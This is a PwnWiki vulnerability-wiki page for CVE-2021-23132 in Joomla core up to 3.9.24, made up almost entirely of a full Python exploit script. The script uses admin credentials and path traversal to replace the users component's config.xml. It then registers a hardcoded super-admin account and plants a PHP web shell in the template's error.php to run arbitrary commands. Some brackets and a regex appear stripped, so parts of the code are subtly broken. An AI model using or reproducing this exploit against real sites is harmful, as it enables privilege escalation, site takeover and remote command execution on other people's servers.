免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
影响版本
Joomla core<= 3.9.24
POC:
python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls
#!/usr/bin/python3 import sys import requests import re import argparse #proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} proxies={} try: import lxml.html except ImportError: print("module 'lxml' doesn't exist, type: pip3 install lxml") exit(0) def writeConfigFile(filename): print("+ Creating config.xml ") content="""<?xml version="1.0" encoding="utf-8"?> <config> <fieldset name="user_options" label="COM_USERS_CONFIG_USER_OPTIONS" > <field name="allowUserRegistration" type="radio" label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL" description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="new_usertype" type="usergrouplist" label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL" description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC" default="2" checksuperusergroup="0" /> <field name="guest_usergroup" type="usergrouplist" label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL" description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC" default="1" checksuperusergroup="0" /> <field name="sendpassword" type="radio" label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL" description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="useractivation" type="list" label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL" description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC" default="0" > <option value="0">JNONE</option> <option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option> <option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option> </field> <field name="mail_to_admin" type="radio" label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL" description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="captcha" type="plugins" label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL" description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC" folder="captcha" filter="cmd" useglobal="true" > <option value="0">JOPTION_DO_NOT_USE</option> </field> <field name="frontend_userparams" type="radio" label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="site_language" type="radio" label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC" class="btn-group btn-group-yesno" default="0" showon="frontend_userparams:1" > <option value="1">JSHOW</option> <option value="0">JHIDE</option> </field> <field name="change_login_name" type="radio" label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL" description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="domain_options" label="COM_USERS_CONFIG_DOMAIN_OPTIONS" > <field name="domains" type="subform" label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL" description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC" multiple="true" layout="joomla.form.field.subform.repeatable-table" formsource="administrator/components/com_users/models/forms/config_domain.xml" /> </fieldset> <fieldset name="password_options" label="COM_USERS_CONFIG_PASSWORD_OPTIONS" > <field name="reset_count" type="integer" label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC" first="0" last="20" step="1" default="10" /> <field name="reset_time" type="integer" label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL" description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC" first="1" last="24" step="1" default="1" /> <field name="minimum_length" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH" description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC" first="4" last="99" step="1" default="4" /> <field name="minimum_integers" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS" description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_symbols" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS" description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_uppercase" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE" description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC" first="0" last="98" step="1" default="0" /> <field name="minimum_lowercase" type="integer" label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE" description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC" first="0" last="98" step="1" default="0" /> </fieldset> <fieldset name="user_notes_history" label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" > <field name="save_history" type="radio" label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL" description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC" class="btn-group btn-group-yesno" default="0" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="history_limit" type="number" label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL" description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC" filter="integer" default="5" showon="save_history:1" /> </fieldset> <fieldset name="massmail" label="COM_USERS_MASS_MAIL" description="COM_USERS_MASS_MAIL_DESC"> <field name="mailSubjectPrefix" type="text" label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL" description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC" /> <field name="mailBodySuffix" type="textarea" label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL" description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC" rows="5" cols="30" /> </fieldset> <fieldset name="debug" label="COM_USERS_DEBUG_LABEL" description="COM_USERS_DEBUG_DESC"> <field name="debugUsers" type="radio" label="COM_USERS_DEBUG_USERS_LABEL" description="COM_USERS_DEBUG_USERS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> <field name="debugGroups" type="radio" label="COM_USERS_DEBUG_GROUPS_LABEL" description="COM_USERS_DEBUG_GROUPS_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="integration" label="JGLOBAL_INTEGRATION_LABEL" description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC" > <field name="integration_sef" type="note" label="JGLOBAL_SEF_TITLE" /> <field name="sef_advanced" type="radio" class="btn-group btn-group-yesno btn-group-reversed" default="0" label="JGLOBAL_SEF_ADVANCED_LABEL" description="JGLOBAL_SEF_ADVANCED_DESC" filter="integer" > <option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option> <option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option> </field> <field name="integration_customfields" type="note" label="JGLOBAL_FIELDS_TITLE" /> <field name="custom_fields_enable" type="radio" label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL" description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC" class="btn-group btn-group-yesno" default="1" > <option value="1">JYES</option> <option value="0">JNO</option> </field> </fieldset> <fieldset name="permissions" label="JCONFIG_PERMISSIONS_LABEL" description="JCONFIG_PERMISSIONS_DESC" > <field name="rules" type="rules" label="JCONFIG_PERMISSIONS_LABEL" filter="rules" validate="rules" component="com_users" section="component" /> </fieldset> </config> """ f = open(filename, "w") f.write(content) f.close def extract_token(resp): match = re.search(r'name="(a-f0-9{32})" value="1"', resp.text, re.S) if match is None: print("- Cannot find CSRF token!\n") return None return match.group(1) def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('+ Getting token for Manager login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('+ Logging in to Admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('! Admin Login Failure!') return None print('+ Admin Login Successfully!') return True def check_admin(sess, url): url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path=' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print ("- You are not admin account!") sys.exit() return token def set_media_options(url, sess, dir, token): print("+ Setting media options") newdata = { 'jformupload_extensions': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS', 'jformupload_maxsize': 10, 'jformfile_path': dir, 'jformimage_path': dir, 'jformrestrict_uploads': 0, 'jformcheck_mime': 0, 'jformimage_extensions': 'bmp,gif,jpg,png', 'jformignore_extensions': '', 'jformupload_mime': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip', 'jformupload_mime_illegal': 'text/html', 'id': 13, 'component': 'com_media', 'task': 'config.save.component.apply', token: 1 } newdata'task' = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'jformupload_extensions' not in resp.text: print('! Maybe failed to set media options...') return False return True def traversal(sess, url): shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder=' resp = sess.get(shell_url, verify=True) page = resp.text.encode('utf-8') html = lxml.html.fromstring(page) files = html.xpath("//input@name='rm'/@value") for file in files: print (file) pass def removeFile(sess, url, filename, token): remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm=' + filename msg = sess.get(remove_path, verify=True,proxies=proxies) page = msg.text.encode('utf-8') html = lxml.html.fromstring(page) file_remove = html.xpath("//div@class='alert-message'/text()1") print ('\n' + 'Result: ' + file_remove-1) def upload_file(sess, url, file, token): print("+ Uploading config.xml") filename = "config.xml" url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder=' files = { 'Filedata': (filename, file, 'text/xml') } data = dict(folder="") resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies) if filename not in resp.text: print("! Failed to upload file!") return False print("+ Exploit Successfully!") return True def set_users_option(sess, url, token): newdata = { 'jformallowUserRegistration': 1, 'jformnew_usertype': 8, 'jformguest_usergroup': 8, 'jformsendpassword ': 0, 'jformuseractivation': 0, 'jformmail_to_admin': 0, 'id': 25, 'component': 'com_users', 'task': 'config.save.component.apply', token: 1 } newdata'task' = 'config.save.component.apply' config_url = url + '/administrator/index.php?option=com_config' resp = sess.post(config_url, data=newdata, verify=True) if 'Configuration saved.' not in resp.text: print('! Could not save data. Error: Save not permitted.') return False return True def create_superuser(sess, url, username, password, email): resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True) token = extract_token(resp) data = { # Form data 'jformname': username, 'jformusername': username, 'jformpassword1': password, 'jformpassword2': password, 'jformemail1': email, 'jformemail2': email, 'jformoption': 'com_users', 'jformtask': 'registration.register', token: '1', } url_post = "/index.php/component/users/?task=registration.register&Itemid=101" sess.post(url + url_post, data=data, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) newsess = requests.Session() if try_admin_login(newsess, url, username, password): print ("+ Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n+ Your super-admin account: \n+ USERNAME: " + username + "\n+ PASSWORD: " + password) return newsess else: print ("- Sorry,exploit fail!") return None def setOption(url, sess, usuper, psuper, esuper, token): print ("Superadmin Creation:") # folder contains config.xml dir = './administrator/components/com_users' filename = 'config.xml' set_media_options(url, sess, dir, token) traversal(sess, url) removeFile(sess, url, filename, token) f = open("config.xml", "rb") upload_file(sess, url, f, token) set_users_option(sess, url, token) def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jformsource': "<?php echo 'Hacked by HK\n' ;system($_GET'cmd'); ?>", 'task': 'template.apply', token: '1', 'jformextension_id': '506', 'jformfilename': '/' + filename } sess.post(shlink, data=shdata_up,proxies=proxies) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '+ Shell is ready to use: ' + str(path2shell) print ('+ Checking:') shreq = sess.get(url + path2shell,proxies=proxies) shresp = shreq.text print (shresp + '+ Shell link: \n' + (url + path2shell)) print ('+ Module finished.') def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-dir", "--directory", required=False, default='./', help="directory") ap.add_argument("-rm", "--remove", required=False, help="filename") ap.add_argument("-rce", "--rce", required=False, default="0", help="RCE's mode is 1 to turn on") ap.add_argument("-cmd", "--command", default="whoami", help="command") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="email protected", help="Super's Email") args = vars(ap.parse_args()) # target url = format(str(args'url')) print ('+ Your target: ' + url) # username uname = format(str(args'username')) # password upass = format(str(args'password')) # directory dir = format(str(args'directory')) # init sess = requests.Session() # admin login if (try_admin_login(sess, url, uname, upass) == None): sys.exit() # get token token = check_admin(sess, url) # set options set_media_options(url, sess, dir, token) print ("Directory mode:") traversal(sess, url) if ap.parse_args().remove: print ("\nRemove file mode: ") filename = format(str(args'remove')) removeFile(sess, url, filename, token) # check option superadmin creation # username of superadmin usuper = format(str(args'usernamesuper')) # password of superadmin psuper = format(str(args'passwordsuper')) # email of superadmin esuper = format(str(args'emailsuper')) # RCE mode if (format(str(args'rce')) == "1"): print ("\nRCE mode:\n") # command filename="config.xml" writeConfigFile(filename) command = format(str(args'command')) setOption(url, sess, usuper, psuper, esuper, token) # superadmin creation newsess = create_superuser(sess, url, usuper, psuper, esuper) if newsess != None : # get token newtoken = check_admin(newsess, url) rce(newsess, url, command, newtoken) if __name__ == "__main__": sys.exit(main())
免费、自由、人人可编辑的漏洞库--PwnWiki.com